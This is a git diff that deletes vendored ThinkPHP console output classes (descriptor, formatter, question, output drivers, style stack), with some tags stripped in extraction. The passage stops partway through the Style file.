sprintf(' %s (yes/no) [%s]:', $text, $default ? 'yes' : 'no'); - - break; - - case $this->question instanceof Choice && $this->question->isMultiselect(): - $choices = $this->question->getChoices(); - $default = explode(',', $default); - - foreach ($default as $key => $value) { - $default[$key] = $choices[trim($value)]; - } - - $text = sprintf(' %s [%s]:', $text, implode(', ', $default)); - - break; - - case $this->question instanceof Choice: - $choices = $this->question->getChoices(); - $text = sprintf(' %s [%s]:', $text, $choices[$default]); - - break; - - default: - $text = sprintf(' %s [%s]:', $text, $default); - } - - $this->output->writeln($text); - - if ($this->question instanceof Choice) { - $width = max(array_map('strlen', array_keys($this->question->getChoices()))); - - foreach ($this->question->getChoices() as $key => $value) { - $this->output->writeln(sprintf(" [%-${width}s] %s", $key, $value)); - } - } - - $this->output->write(' > '); - } - - private function getShell() - { - if (null !== self::$shell) { - return self::$shell; - } - - self::$shell = false; - - if (file_exists('/usr/bin/env')) { - $test = "/usr/bin/env %s -c 'echo OK' 2> /dev/null"; - foreach (['bash', 'zsh', 'ksh', 'csh'] as $sh) { - if ('OK' === rtrim(shell_exec(sprintf($test, $sh)))) { - self::$shell = $sh; - break; - } - } - } - - return self::$shell; - } - - private function hasSttyAvailable() - { - if (null !== self::$stty) { - return self::$stty; - } - - exec('stty 2>&1', $output, $exitcode); - - return self::$stty = $exitcode === 0; - } -} diff --git a/vendor/topthink/framework/src/think/console/output/Descriptor.php b/vendor/topthink/framework/src/think/console/output/Descriptor.php deleted file mode 100644 index e4a9e61..0000000 --- a/vendor/topthink/framework/src/think/console/output/Descriptor.php +++ /dev/null @@ -1,323 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\output; - -use think\Console; -use think\console\Command; -use think\console\input\Argument as InputArgument; -use think\console\input\Definition as InputDefinition; -use think\console\input\Option as InputOption; -use think\console\Output; -use think\console\output\descriptor\Console as ConsoleDescription; - -class Descriptor -{ - - /** - * @var Output - */ - protected $output; - - /** - * {@inheritdoc} - */ - public function describe(Output $output, $object, array $options = []) - { - $this->output = $output; - - switch (true) { - case $object instanceof InputArgument: - $this->describeInputArgument($object, $options); - break; - case $object instanceof InputOption: - $this->describeInputOption($object, $options); - break; - case $object instanceof InputDefinition: - $this->describeInputDefinition($object, $options); - break; - case $object instanceof Command: - $this->describeCommand($object, $options); - break; - case $object instanceof Console: - $this->describeConsole($object, $options); - break; - default: - throw new \InvalidArgumentException(sprintf('Object of type "%s" is not describable.', get_class($object))); - } - } - - /** - * 输出内容 - * @param string $content - * @param bool $decorated - */ - protected function write($content, $decorated = false) - { - $this->output->write($content, false, $decorated ? Output::OUTPUT_NORMAL : Output::OUTPUT_RAW); - } - - /** - * 描述参数 - * @param InputArgument $argument - * @param array $options - * @return string|mixed - */ - protected function describeInputArgument(InputArgument $argument, array $options = []) - { - if (null !== $argument->getDefault() - && (!is_array($argument->getDefault()) - || count($argument->getDefault())) - ) { - $default = sprintf(' [default: %s]', $this->formatDefaultValue($argument->getDefault())); - } else { - $default = ''; - } - - $totalWidth = $options['total_width'] ?? strlen($argument->getName()); - $spacingWidth = $totalWidth - strlen($argument->getName()) + 2; - - $this->writeText(sprintf(" %s%s%s%s", $argument->getName(), str_repeat(' ', $spacingWidth), // + 17 = 2 spaces + + + 2 spaces - preg_replace('/\s*\R\s*/', PHP_EOL . str_repeat(' ', $totalWidth + 17), $argument->getDescription()), $default), $options); - } - - /** - * 描述选项 - * @param InputOption $option - * @param array $options - * @return string|mixed - */ - protected function describeInputOption(InputOption $option, array $options = []) - { - if ($option->acceptValue() && null !== $option->getDefault() - && (!is_array($option->getDefault()) - || count($option->getDefault())) - ) { - $default = sprintf(' [default: %s]', $this->formatDefaultValue($option->getDefault())); - } else { - $default = ''; - } - - $value = ''; - if ($option->acceptValue()) { - $value = '=' . strtoupper($option->getName()); - - if ($option->isValueOptional()) { - $value = '[' . $value . ']'; - } - } - - $totalWidth = $options['total_width'] ?? $this->calculateTotalWidthForOptions([$option]); - $synopsis = sprintf('%s%s', $option->getShortcut() ? sprintf('-%s, ', $option->getShortcut()) : ' ', sprintf('--%s%s', $option->getName(), $value)); - - $spacingWidth = $totalWidth - strlen($synopsis) + 2; - - $this->writeText(sprintf(" %s%s%s%s%s", $synopsis, str_repeat(' ', $spacingWidth), // + 17 = 2 spaces + + + 2 spaces - preg_replace('/\s*\R\s*/', "\n" . str_repeat(' ', $totalWidth + 17), $option->getDescription()), $default, $option->isArray() ? ' (multiple values allowed)' : ''), $options); - } - - /** - * 描述输入 - * @param InputDefinition $definition - * @param array $options - * @return string|mixed - */ - protected function describeInputDefinition(InputDefinition $definition, array $options = []) - { - $totalWidth = $this->calculateTotalWidthForOptions($definition->getOptions()); - foreach ($definition->getArguments() as $argument) { - $totalWidth = max($totalWidth, strlen($argument->getName())); - } - - if ($definition->getArguments()) { - $this->writeText('Arguments:', $options); - $this->writeText("\n"); - foreach ($definition->getArguments() as $argument) { - $this->describeInputArgument($argument, array_merge($options, ['total_width' => $totalWidth])); - $this->writeText("\n"); - } - } - - if ($definition->getArguments() && $definition->getOptions()) { - $this->writeText("\n"); - } - - if ($definition->getOptions()) { - $laterOptions = []; - - $this->writeText('Options:', $options); - foreach ($definition->getOptions() as $option) { - if (strlen($option->getShortcut()) > 1) { - $laterOptions[] = $option; - continue; - } - $this->writeText("\n"); - $this->describeInputOption($option, array_merge($options, ['total_width' => $totalWidth])); - } - foreach ($laterOptions as $option) { - $this->writeText("\n"); - $this->describeInputOption($option, array_merge($options, ['total_width' => $totalWidth])); - } - } - } - - /** - * 描述指令 - * @param Command $command - * @param array $options - * @return string|mixed - */ - protected function describeCommand(Command $command, array $options = []) - { - $command->getSynopsis(true); - $command->getSynopsis(false); - $command->mergeConsoleDefinition(false); - - $this->writeText('Usage:', $options); - foreach (array_merge([$command->getSynopsis(true)], $command->getAliases(), $command->getUsages()) as $usage) { - $this->writeText("\n"); - $this->writeText(' ' . $usage, $options); - } - $this->writeText("\n"); - - $definition = $command->getNativeDefinition(); - if ($definition->getOptions() || $definition->getArguments()) { - $this->writeText("\n"); - $this->describeInputDefinition($definition, $options); - $this->writeText("\n"); - } - - if ($help = $command->getProcessedHelp()) { - $this->writeText("\n"); - $this->writeText('Help:', $options); - $this->writeText("\n"); - $this->writeText(' ' . str_replace("\n", "\n ", $help), $options); - $this->writeText("\n"); - } - } - - /** - * 描述控制台 - * @param Console $console - * @param array $options - * @return string|mixed - */ - protected function describeConsole(Console $console, array $options = []) - { - $describedNamespace = isset($options['namespace']) ? $options['namespace'] : null; - $description = new ConsoleDescription($console, $describedNamespace); - - if (isset($options['raw_text']) && $options['raw_text']) { - $width = $this->getColumnWidth($description->getNamespaces()); - - foreach ($description->getCommands() as $command) { - $this->writeText(sprintf("%-${width}s %s", $command->getName(), $command->getDescription()), $options); - $this->writeText("\n"); - } - } else { - if ('' != $help = $console->getHelp()) { - $this->writeText("$help\n\n", $options); - } - - $this->writeText("Usage:\n", $options); - $this->writeText(" command [options] [arguments]\n\n", $options); - - $this->describeInputDefinition(new InputDefinition($console->getDefinition()->getOptions()), $options); - - $this->writeText("\n"); - $this->writeText("\n"); - - $width = $this->getColumnWidth($description->getNamespaces()); - - if ($describedNamespace) { - $this->writeText(sprintf('Available commands for the "%s" namespace:', $describedNamespace), $options); - } else { - $this->writeText('Available commands:', $options); - } - - // add commands by namespace - foreach ($description->getNamespaces() as $namespace) { - if (!$describedNamespace && ConsoleDescription::GLOBAL_NAMESPACE !== $namespace['id']) { - $this->writeText("\n"); - $this->writeText(' ' . $namespace['id'] . '', $options); - } - - foreach ($namespace['commands'] as $name) { - $this->writeText("\n"); - $spacingWidth = $width - strlen($name); - $this->writeText(sprintf(" %s%s%s", $name, str_repeat(' ', $spacingWidth), $description->getCommand($name) - ->getDescription()), $options); - } - } - - $this->writeText("\n"); - } - } - - /** - * {@inheritdoc} - */ - private function writeText($content, array $options = []) - { - $this->write(isset($options['raw_text']) - && $options['raw_text'] ? strip_tags($content) : $content, isset($options['raw_output']) ? !$options['raw_output'] : true); - } - - /** - * 格式化 - * @param mixed $default - * @return string - */ - private function formatDefaultValue($default) - { - return json_encode($default, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); - } - - /** - * @param Namespaces[] $namespaces - * @return int - */ - private function getColumnWidth(array $namespaces) - { - $width = 0; - foreach ($namespaces as $namespace) { - foreach ($namespace['commands'] as $name) { - if (strlen($name) > $width) { - $width = strlen($name); - } - } - } - - return $width + 2; - } - - /** - * @param InputOption[] $options - * @return int - */ - private function calculateTotalWidthForOptions($options) - { - $totalWidth = 0; - foreach ($options as $option) { - $nameLength = 4 + strlen($option->getName()) + 2; // - + shortcut + , + whitespace + name + -- - - if ($option->acceptValue()) { - $valueLength = 1 + strlen($option->getName()); // = + value - $valueLength += $option->isValueOptional() ? 2 : 0; // [ + ] - - $nameLength += $valueLength; - } - $totalWidth = max($totalWidth, $nameLength); - } - - return $totalWidth; - } -} diff --git a/vendor/topthink/framework/src/think/console/output/Formatter.php b/vendor/topthink/framework/src/think/console/output/Formatter.php deleted file mode 100644 index 1b97ca3..0000000 --- a/vendor/topthink/framework/src/think/console/output/Formatter.php +++ /dev/null @@ -1,198 +0,0 @@ - -// +---------------------------------------------------------------------- -namespace think\console\output; - -use think\console\output\formatter\Stack as StyleStack; -use think\console\output\formatter\Style; - -class Formatter -{ - - private $decorated = false; - private $styles = []; - private $styleStack; - - /** - * 转义 - * @param string $text - * @return string - */ - public static function escape($text) - { - return preg_replace('/([^\\\\]?)setStyle('error', new Style('white', 'red')); - $this->setStyle('info', new Style('green')); - $this->setStyle('comment', new Style('yellow')); - $this->setStyle('question', new Style('black', 'cyan')); - $this->setStyle('highlight', new Style('red')); - $this->setStyle('warning', new Style('black', 'yellow')); - - $this->styleStack = new StyleStack(); - } - - /** - * 设置外观标识 - * @param bool $decorated 是否美化文字 - */ - public function setDecorated($decorated) - { - $this->decorated = (bool) $decorated; - } - - /** - * 获取外观标识 - * @return bool - */ - public function isDecorated() - { - return $this->decorated; - } - - /** - * 添加一个新样式 - * @param string $name 样式名 - * @param Style $style 样式实例 - */ - public function setStyle($name, Style $style) - { - $this->styles[strtolower($name)] = $style; - } - - /** - * 是否有这个样式 - * @param string $name - * @return bool - */ - public function hasStyle($name) - { - return isset($this->styles[strtolower($name)]); - } - - /** - * 获取样式 - * @param string $name - * @return Style - * @throws \InvalidArgumentException - */ - public function getStyle($name) - { - if (!$this->hasStyle($name)) { - throw new \InvalidArgumentException(sprintf('Undefined style: %s', $name)); - } - - return $this->styles[strtolower($name)]; - } - - /** - * 使用所给的样式格式化文字 - * @param string $message 文字 - * @return string - */ - public function format($message) - { - $offset = 0; - $output = ''; - $tagRegex = '[a-z][a-z0-9_=;-]*'; - preg_match_all("#<(($tagRegex) | /($tagRegex)?)>#isx", $message, $matches, PREG_OFFSET_CAPTURE); - foreach ($matches[0] as $i => $match) { - $pos = $match[1]; - $text = $match[0]; - - if (0 != $pos && '\\' == $message[$pos - 1]) { - continue; - } - - $output .= $this->applyCurrentStyle(substr($message, $offset, $pos - $offset)); - $offset = $pos + strlen($text); - - if ($open = '/' != $text[1]) { - $tag = $matches[1][$i][0]; - } else { - $tag = $matches[3][$i][0] ?? ''; - } - - if (!$open && !$tag) { - // - $this->styleStack->pop(); - } elseif (false === $style = $this->createStyleFromString(strtolower($tag))) { - $output .= $this->applyCurrentStyle($text); - } elseif ($open) { - $this->styleStack->push($style); - } else { - $this->styleStack->pop($style); - } - } - - $output .= $this->applyCurrentStyle(substr($message, $offset)); - - return str_replace('\\<', '<', $output); - } - - /** - * @return StyleStack - */ - public function getStyleStack() - { - return $this->styleStack; - } - - /** - * 根据字符串创建新的样式实例 - * @param string $string - * @return Style|bool - */ - private function createStyleFromString($string) - { - if (isset($this->styles[$string])) { - return $this->styles[$string]; - } - - if (!preg_match_all('/([^=]+)=([^;]+)(;|$)/', strtolower($string), $matches, PREG_SET_ORDER)) { - return false; - } - - $style = new Style(); - foreach ($matches as $match) { - array_shift($match); - - if ('fg' == $match[0]) { - $style->setForeground($match[1]); - } elseif ('bg' == $match[0]) { - $style->setBackground($match[1]); - } else { - try { - $style->setOption($match[1]); - } catch (\InvalidArgumentException $e) { - return false; - } - } - } - - return $style; - } - - /** - * 从堆栈应用样式到文字 - * @param string $text 文字 - * @return string - */ - private function applyCurrentStyle($text) - { - return $this->isDecorated() && strlen($text) > 0 ? $this->styleStack->getCurrent()->apply($text) : $text; - } -} diff --git a/vendor/topthink/framework/src/think/console/output/Question.php b/vendor/topthink/framework/src/think/console/output/Question.php deleted file mode 100644 index 03975f2..0000000 --- a/vendor/topthink/framework/src/think/console/output/Question.php +++ /dev/null @@ -1,211 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\output; - -class Question -{ - - private $question; - private $attempts; - private $hidden = false; - private $hiddenFallback = true; - private $autocompleterValues; - private $validator; - private $default; - private $normalizer; - - /** - * 构造方法 - * @param string $question 问题 - * @param mixed $default 默认答案 - */ - public function __construct($question, $default = null) - { - $this->question = $question; - $this->default = $default; - } - - /** - * 获取问题 - * @return string - */ - public function getQuestion() - { - return $this->question; - } - - /** - * 获取默认答案 - * @return mixed - */ - public function getDefault() - { - return $this->default; - } - - /** - * 是否隐藏答案 - * @return bool - */ - public function isHidden() - { - return $this->hidden; - } - - /** - * 隐藏答案 - * @param bool $hidden - * @return Question - */ - public function setHidden($hidden) - { - if ($this->autocompleterValues) { - throw new \LogicException('A hidden question cannot use the autocompleter.'); - } - - $this->hidden = (bool) $hidden; - - return $this; - } - - /** - * 不能被隐藏是否撤销 - * @return bool - */ - public function isHiddenFallback() - { - return $this->hiddenFallback; - } - - /** - * 设置不能被隐藏的时候的操作 - * @param bool $fallback - * @return Question - */ - public function setHiddenFallback($fallback) - { - $this->hiddenFallback = (bool) $fallback; - - return $this; - } - - /** - * 获取自动完成 - * @return null|array|\Traversable - */ - public function getAutocompleterValues() - { - return $this->autocompleterValues; - } - - /** - * 设置自动完成的值 - * @param null|array|\Traversable $values - * @return Question - * @throws \InvalidArgumentException - * @throws \LogicException - */ - public function setAutocompleterValues($values) - { - if (is_array($values) && $this->isAssoc($values)) { - $values = array_merge(array_keys($values), array_values($values)); - } - - if (null !== $values && !is_array($values)) { - if (!$values instanceof \Traversable || $values instanceof \Countable) { - throw new \InvalidArgumentException('Autocompleter values can be either an array, `null` or an object implementing both `Countable` and `Traversable` interfaces.'); - } - } - - if ($this->hidden) { - throw new \LogicException('A hidden question cannot use the autocompleter.'); - } - - $this->autocompleterValues = $values; - - return $this; - } - - /** - * 设置答案的验证器 - * @param null|callable $validator - * @return Question The current instance - */ - public function setValidator($validator) - { - $this->validator = $validator; - - return $this; - } - - /** - * 获取验证器 - * @return null|callable - */ - public function getValidator() - { - return $this->validator; - } - - /** - * 设置最大重试次数 - * @param null|int $attempts - * @return Question - * @throws \InvalidArgumentException - */ - public function setMaxAttempts($attempts) - { - if (null !== $attempts && $attempts < 1) { - throw new \InvalidArgumentException('Maximum number of attempts must be a positive value.'); - } - - $this->attempts = $attempts; - - return $this; - } - - /** - * 获取最大重试次数 - * @return null|int - */ - public function getMaxAttempts() - { - return $this->attempts; - } - - /** - * 设置响应的回调 - * @param string|\Closure $normalizer - * @return Question - */ - public function setNormalizer($normalizer) - { - $this->normalizer = $normalizer; - - return $this; - } - - /** - * 获取响应回调 - * The normalizer can ba a callable (a string), a closure or a class implementing __invoke. - * @return string|\Closure - */ - public function getNormalizer() - { - return $this->normalizer; - } - - protected function isAssoc($array) - { - return (bool) count(array_filter(array_keys($array), 'is_string')); - } -} diff --git a/vendor/topthink/framework/src/think/console/output/descriptor/Console.php b/vendor/topthink/framework/src/think/console/output/descriptor/Console.php deleted file mode 100644 index ff9f464..0000000 --- a/vendor/topthink/framework/src/think/console/output/descriptor/Console.php +++ /dev/null @@ -1,153 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\output\descriptor; - -use think\Console as ThinkConsole; -use think\console\Command; - -class Console -{ - - const GLOBAL_NAMESPACE = '_global'; - - /** - * @var ThinkConsole - */ - private $console; - - /** - * @var null|string - */ - private $namespace; - - /** - * @var array - */ - private $namespaces; - - /** - * @var Command[] - */ - private $commands; - - /** - * @var Command[] - */ - private $aliases; - - /** - * 构造方法 - * @param ThinkConsole $console - * @param string|null $namespace - */ - public function __construct(ThinkConsole $console, $namespace = null) - { - $this->console = $console; - $this->namespace = $namespace; - } - - /** - * @return array - */ - public function getNamespaces(): array - { - if (null === $this->namespaces) { - $this->inspectConsole(); - } - - return $this->namespaces; - } - - /** - * @return Command[] - */ - public function getCommands(): array - { - if (null === $this->commands) { - $this->inspectConsole(); - } - - return $this->commands; - } - - /** - * @param string $name - * @return Command - * @throws \InvalidArgumentException - */ - public function getCommand(string $name): Command - { - if (!isset($this->commands[$name]) && !isset($this->aliases[$name])) { - throw new \InvalidArgumentException(sprintf('Command %s does not exist.', $name)); - } - - return $this->commands[$name] ?? $this->aliases[$name]; - } - - private function inspectConsole(): void - { - $this->commands = []; - $this->namespaces = []; - - $all = $this->console->all($this->namespace ? $this->console->findNamespace($this->namespace) : null); - foreach ($this->sortCommands($all) as $namespace => $commands) { - $names = []; - - /** @var Command $command */ - foreach ($commands as $name => $command) { - if (is_string($command)) { - $command = new $command(); - } - - if (!$command->getName()) { - continue; - } - - if ($command->getName() === $name) { - $this->commands[$name] = $command; - } else { - $this->aliases[$name] = $command; - } - - $names[] = $name; - } - - $this->namespaces[$namespace] = ['id' => $namespace, 'commands' => $names]; - } - } - - /** - * @param array $commands - * @return array - */ - private function sortCommands(array $commands): array - { - $namespacedCommands = []; - foreach ($commands as $name => $command) { - $key = $this->console->extractNamespace($name, 1); - if (!$key) { - $key = self::GLOBAL_NAMESPACE; - } - - $namespacedCommands[$key][$name] = $command; - } - ksort($namespacedCommands); - - foreach ($namespacedCommands as &$commandsSet) { - ksort($commandsSet); - } - // unset reference to keep scope clear - unset($commandsSet); - - return $namespacedCommands; - } -} diff --git a/vendor/topthink/framework/src/think/console/output/driver/Buffer.php b/vendor/topthink/framework/src/think/console/output/driver/Buffer.php deleted file mode 100644 index 576f31a..0000000 --- a/vendor/topthink/framework/src/think/console/output/driver/Buffer.php +++ /dev/null @@ -1,52 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\output\driver; - -use think\console\Output; - -class Buffer -{ - /** - * @var string - */ - private $buffer = ''; - - public function __construct(Output $output) - { - // do nothing - } - - public function fetch() - { - $content = $this->buffer; - $this->buffer = ''; - return $content; - } - - public function write($messages, bool $newline = false, int $options = 0) - { - $messages = (array) $messages; - - foreach ($messages as $message) { - $this->buffer .= $message; - } - if ($newline) { - $this->buffer .= "\n"; - } - } - - public function renderException(\Throwable $e) - { - // do nothing - } - -} diff --git a/vendor/topthink/framework/src/think/console/output/driver/Console.php b/vendor/topthink/framework/src/think/console/output/driver/Console.php deleted file mode 100644 index 31bdf1f..0000000 --- a/vendor/topthink/framework/src/think/console/output/driver/Console.php +++ /dev/null @@ -1,368 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\output\driver; - -use think\console\Output; -use think\console\output\Formatter; - -class Console -{ - - /** @var Resource */ - private $stdout; - - /** @var Formatter */ - private $formatter; - - private $terminalDimensions; - - /** @var Output */ - private $output; - - public function __construct(Output $output) - { - $this->output = $output; - $this->formatter = new Formatter(); - $this->stdout = $this->openOutputStream(); - $decorated = $this->hasColorSupport($this->stdout); - $this->formatter->setDecorated($decorated); - } - - public function setDecorated($decorated) - { - $this->formatter->setDecorated($decorated); - } - - public function write($messages, bool $newline = false, int $type = 0, $stream = null) - { - if (Output::VERBOSITY_QUIET === $this->output->getVerbosity()) { - return; - } - - $messages = (array) $messages; - - foreach ($messages as $message) { - switch ($type) { - case Output::OUTPUT_NORMAL: - $message = $this->formatter->format($message); - break; - case Output::OUTPUT_RAW: - break; - case Output::OUTPUT_PLAIN: - $message = strip_tags($this->formatter->format($message)); - break; - default: - throw new \InvalidArgumentException(sprintf('Unknown output type given (%s)', $type)); - } - - $this->doWrite($message, $newline, $stream); - } - } - - public function renderException(\Throwable $e) - { - $stderr = $this->openErrorStream(); - $decorated = $this->hasColorSupport($stderr); - $this->formatter->setDecorated($decorated); - - do { - $title = sprintf(' [%s] ', get_class($e)); - - $len = $this->stringWidth($title); - - $width = $this->getTerminalWidth() ? $this->getTerminalWidth() - 1 : PHP_INT_MAX; - - if (defined('HHVM_VERSION') && $width > 1 << 31) { - $width = 1 << 31; - } - $lines = []; - foreach (preg_split('/\r?\n/', $e->getMessage()) as $line) { - foreach ($this->splitStringByWidth($line, $width - 4) as $line) { - - $lineLength = $this->stringWidth(preg_replace('/\[[^m]*m/', '', $line)) + 4; - $lines[] = [$line, $lineLength]; - - $len = max($lineLength, $len); - } - } - - $messages = ['', '']; - $messages[] = $emptyLine = sprintf('%s', str_repeat(' ', $len)); - $messages[] = sprintf('%s%s', $title, str_repeat(' ', max(0, $len - $this->stringWidth($title)))); - foreach ($lines as $line) { - $messages[] = sprintf(' %s %s', $line[0], str_repeat(' ', $len - $line[1])); - } - $messages[] = $emptyLine; - $messages[] = ''; - $messages[] = ''; - - $this->write($messages, true, Output::OUTPUT_NORMAL, $stderr); - - if (Output::VERBOSITY_VERBOSE <= $this->output->getVerbosity()) { - $this->write('Exception trace:', true, Output::OUTPUT_NORMAL, $stderr); - - // exception related properties - $trace = $e->getTrace(); - array_unshift($trace, [ - 'function' => '', - 'file' => $e->getFile() !== null ? $e->getFile() : 'n/a', - 'line' => $e->getLine() !== null ? $e->getLine() : 'n/a', - 'args' => [], - ]); - - for ($i = 0, $count = count($trace); $i < $count; ++$i) { - $class = isset($trace[$i]['class']) ? $trace[$i]['class'] : ''; - $type = isset($trace[$i]['type']) ? $trace[$i]['type'] : ''; - $function = $trace[$i]['function']; - $file = isset($trace[$i]['file']) ? $trace[$i]['file'] : 'n/a'; - $line = isset($trace[$i]['line']) ? $trace[$i]['line'] : 'n/a'; - - $this->write(sprintf(' %s%s%s() at %s:%s', $class, $type, $function, $file, $line), true, Output::OUTPUT_NORMAL, $stderr); - } - - $this->write('', true, Output::OUTPUT_NORMAL, $stderr); - $this->write('', true, Output::OUTPUT_NORMAL, $stderr); - } - } while ($e = $e->getPrevious()); - - } - - /** - * 获取终端宽度 - * @return int|null - */ - protected function getTerminalWidth() - { - $dimensions = $this->getTerminalDimensions(); - - return $dimensions[0]; - } - - /** - * 获取终端高度 - * @return int|null - */ - protected function getTerminalHeight() - { - $dimensions = $this->getTerminalDimensions(); - - return $dimensions[1]; - } - - /** - * 获取当前终端的尺寸 - * @return array - */ - public function getTerminalDimensions(): array - { - if ($this->terminalDimensions) { - return $this->terminalDimensions; - } - - if ('\\' === DIRECTORY_SEPARATOR) { - if (preg_match('/^(\d+)x\d+ \(\d+x(\d+)\)$/', trim(getenv('ANSICON')), $matches)) { - return [(int) $matches[1], (int) $matches[2]]; - } - if (preg_match('/^(\d+)x(\d+)$/', $this->getMode(), $matches)) { - return [(int) $matches[1], (int) $matches[2]]; - } - } - - if ($sttyString = $this->getSttyColumns()) { - if (preg_match('/rows.(\d+);.columns.(\d+);/i', $sttyString, $matches)) { - return [(int) $matches[2], (int) $matches[1]]; - } - if (preg_match('/;.(\d+).rows;.(\d+).columns/i', $sttyString, $matches)) { - return [(int) $matches[2], (int) $matches[1]]; - } - } - - return [null, null]; - } - - /** - * 获取stty列数 - * @return string - */ - private function getSttyColumns() - { - if (!function_exists('proc_open')) { - return; - } - - $descriptorspec = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; - $process = proc_open('stty -a | grep columns', $descriptorspec, $pipes, null, null, ['suppress_errors' => true]); - if (is_resource($process)) { - $info = stream_get_contents($pipes[1]); - fclose($pipes[1]); - fclose($pipes[2]); - proc_close($process); - - return $info; - } - return; - } - - /** - * 获取终端模式 - * @return string x 或 null - */ - private function getMode() - { - if (!function_exists('proc_open')) { - return; - } - - $descriptorspec = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; - $process = proc_open('mode CON', $descriptorspec, $pipes, null, null, ['suppress_errors' => true]); - if (is_resource($process)) { - $info = stream_get_contents($pipes[1]); - fclose($pipes[1]); - fclose($pipes[2]); - proc_close($process); - - if (preg_match('/--------+\r?\n.+?(\d+)\r?\n.+?(\d+)\r?\n/', $info, $matches)) { - return $matches[2] . 'x' . $matches[1]; - } - } - return; - } - - private function stringWidth(string $string): int - { - if (!function_exists('mb_strwidth')) { - return strlen($string); - } - - if (false === $encoding = mb_detect_encoding($string)) { - return strlen($string); - } - - return mb_strwidth($string, $encoding); - } - - private function splitStringByWidth(string $string, int $width): array - { - if (!function_exists('mb_strwidth')) { - return str_split($string, $width); - } - - if (false === $encoding = mb_detect_encoding($string)) { - return str_split($string, $width); - } - - $utf8String = mb_convert_encoding($string, 'utf8', $encoding); - $lines = []; - $line = ''; - foreach (preg_split('//u', $utf8String) as $char) { - if (mb_strwidth($line . $char, 'utf8') <= $width) { - $line .= $char; - continue; - } - $lines[] = str_pad($line, $width); - $line = $char; - } - if (strlen($line)) { - $lines[] = count($lines) ? str_pad($line, $width) : $line; - } - - mb_convert_variables($encoding, 'utf8', $lines); - - return $lines; - } - - private function isRunningOS400(): bool - { - $checks = [ - function_exists('php_uname') ? php_uname('s') : '', - getenv('OSTYPE'), - PHP_OS, - ]; - return false !== stripos(implode(';', $checks), 'OS400'); - } - - /** - * 当前环境是否支持写入控制台输出到stdout. - * - * @return bool - */ - protected function hasStdoutSupport(): bool - { - return false === $this->isRunningOS400(); - } - - /** - * 当前环境是否支持写入控制台输出到stderr. - * - * @return bool - */ - protected function hasStderrSupport(): bool - { - return false === $this->isRunningOS400(); - } - - /** - * @return resource - */ - private function openOutputStream() - { - if (!$this->hasStdoutSupport()) { - return fopen('php://output', 'w'); - } - return @fopen('php://stdout', 'w') ?: fopen('php://output', 'w'); - } - - /** - * @return resource - */ - private function openErrorStream() - { - return fopen($this->hasStderrSupport() ? 'php://stderr' : 'php://output', 'w'); - } - - /** - * 将消息写入到输出。 - * @param string $message 消息 - * @param bool $newline 是否另起一行 - * @param null $stream - */ - protected function doWrite($message, $newline, $stream = null) - { - if (null === $stream) { - $stream = $this->stdout; - } - if (false === @fwrite($stream, $message . ($newline ? PHP_EOL : ''))) { - throw new \RuntimeException('Unable to write output.'); - } - - fflush($stream); - } - - /** - * 是否支持着色 - * @param $stream - * @return bool - */ - protected function hasColorSupport($stream): bool - { - if (DIRECTORY_SEPARATOR === '\\') { - return - '10.0.10586' === PHP_WINDOWS_VERSION_MAJOR . '.' . PHP_WINDOWS_VERSION_MINOR . '.' . PHP_WINDOWS_VERSION_BUILD - || false !== getenv('ANSICON') - || 'ON' === getenv('ConEmuANSI') - || 'xterm' === getenv('TERM'); - } - - return function_exists('posix_isatty') && @posix_isatty($stream); - } - -} diff --git a/vendor/topthink/framework/src/think/console/output/driver/Nothing.php b/vendor/topthink/framework/src/think/console/output/driver/Nothing.php deleted file mode 100644 index a7cc49e..0000000 --- a/vendor/topthink/framework/src/think/console/output/driver/Nothing.php +++ /dev/null @@ -1,33 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\output\driver; - -use think\console\Output; - -class Nothing -{ - - public function __construct(Output $output) - { - // do nothing - } - - public function write($messages, bool $newline = false, int $options = 0) - { - // do nothing - } - - public function renderException(\Throwable $e) - { - // do nothing - } -} diff --git a/vendor/topthink/framework/src/think/console/output/formatter/Stack.php b/vendor/topthink/framework/src/think/console/output/formatter/Stack.php deleted file mode 100644 index 5366259..0000000 --- a/vendor/topthink/framework/src/think/console/output/formatter/Stack.php +++ /dev/null @@ -1,116 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\output\formatter; - -class Stack -{ - - /** - * @var Style[] - */ - private $styles; - - /** - * @var Style - */ - private $emptyStyle; - - /** - * 构造方法 - * @param Style|null $emptyStyle - */ - public function __construct(Style $emptyStyle = null) - { - $this->emptyStyle = $emptyStyle ?: new Style(); - $this->reset(); - } - - /** - * 重置堆栈 - */ - public function reset(): void - { - $this->styles = []; - } - - /** - * 推一个样式进入堆栈 - * @param Style $style - */ - public function push(Style $style): void - { - $this->styles[] = $style; - } - - /** - * 从堆栈中弹出一个样式 - * @param Style|null $style - * @return Style - * @throws \InvalidArgumentException - */ - public function pop(Style $style = null): Style - { - if (empty($this->styles)) { - return $this->emptyStyle; - } - - if (null === $style) { - return array_pop($this->styles); - } - - /** - * @var int $index - * @var Style $stackedStyle - */ - foreach (array_reverse($this->styles, true) as $index => $stackedStyle) { - if ($style->apply('') === $stackedStyle->apply('')) { - $this->styles = array_slice($this->styles, 0, $index); - - return $stackedStyle; - } - } - - throw new \InvalidArgumentException('Incorrectly nested style tag found.'); - } - - /** - * 计算堆栈的当前样式。 - * @return Style - */ - public function getCurrent(): Style - { - if (empty($this->styles)) { - return $this->emptyStyle; - } - - return $this->styles[count($this->styles) - 1]; - } - - /** - * @param Style $emptyStyle - * @return Stack - */ - public function setEmptyStyle(Style $emptyStyle) - { - $this->emptyStyle = $emptyStyle; - - return $this; - } - - /** - * @return Style - */ - public function getEmptyStyle(): Style - { - return $this->emptyStyle; - } -} diff --git a/vendor/topthink/framework/src/think/console/output/formatter/Style.php b/vendor/topthink/framework/src/think/console/output/formatter/Style.php deleted file mode 100644 index 2aae768..0000000 --- a/vendor/topthink/framework/src/think/console/output/formatter/Style.php +++ /dev/null @@ -1,190 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\output\formatter; - -class Style -{ - protected static $availableForegroundColors = [ - 'black' => ['set' => 30, 'unset' => 39], - 'red' => ['set' => 31, 'unset' => 39], - 'green' => 